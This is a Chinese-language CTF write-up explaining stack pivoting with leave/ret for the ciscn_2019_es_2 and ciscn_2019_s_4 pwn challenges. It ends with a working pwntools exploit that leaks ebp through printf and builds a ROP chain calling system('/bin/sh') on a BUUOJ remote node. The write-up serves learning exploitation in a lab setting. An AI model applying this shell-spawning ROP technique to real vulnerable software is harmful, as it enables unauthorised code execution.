1. 程式人生 > 其它 >(棧遷移)ciscn_2019_es_2和ciscn_2019_s_4相同

(棧遷移)ciscn_2019_es_2和ciscn_2019_s_4相同

這兩個題考查的戰遷移。棧遷移就是在可以發生棧溢位的情況下但是溢位長度不夠,不能裝下我們構造的rop鏈。我們需要把棧頂指標和棧底指標遷移到其他可寫的地方。

棧遷移需要藉助兩個彙編指令:

*leave

mov esp,ebp

pop ebp

*ret

pop eip

這個圖是引用看雪論壇上( yichen115 )的圖這裡再解釋一下。

我們通常將棧遷移到bss或者data段。因為那的空間很大,有可寫的許可權。這是 read 函式也是非常重要的。

我們先通過read函式把棧佈置如圖所示。每個函式執行完時會執行leave和ret指令我們又往棧上寫了一個leave,ret指令的地址。棧遷移通常需要兩次leave和ret

當上一函式執行完時會執行leave和ret:

先執行mov esp,ebp

此時esp和ebp指向同一位置,接著執行 pop ebp

複習一下:pop指令是將esp暫存器的內容給ebp並把ebp從棧中彈出。

我們將ebp覆蓋位bss段中的地址,所以再pop ebp後ebp中的內容就是bss段的地址了。

這時候就到 ret了,我們可以通過read函式來把內容輸入到 fake ebp1的地址處

構造的內容主要是把 fake ebp1處寫成fake ebp2的地址

這裡先講到這。

開始分析本題:

直接看程式碼。這裡溢位不夠,運用棧遷移。這裡沒有將棧遷移到bss或data段。還是在棧中只是將esp和ebp指向了s在棧中的地址了

解決了溢位不夠的問題

printf函式遇到'\x00'--字串結束符才停止。我們先通過read函式填充垃圾資料剛好到ebp的位置,讓printf洩露ebp的內容

計算s與ebp的距離。(在vul初下斷點,n 到第一個read函式 輸入後 檢視棧)

 1 from pwn import *
 2 
 3 r=remote('node4.buuoj.cn',28459)
 4 elf=ELF('./ciscn_s_4')
 5 
 6 sys=0x8048400
 7 leave_ret=0x080484b8
 8 payload='a'*0x27+'b'
 9 r.send(payload)
10 r.recvuntil('
b') 11 12 stack=u32(r.recv(4)) 13 s_addr=stack-0x38 14 #payload1 將s的0x28個記憶體填入rop,再leav——ret將esp執向s的地址開始往後執行system函式 15 payload1=(p32(s_addr)+p32(sys)+p32(elf.symbols['main'])+p32(s_addr+0x10)+'/bin/sh\x00').ljust(0x28,'\x00')+p32(s_addr)+p32(leave_ret) 16 r.sendline(payload1) 17 18 r.interactive()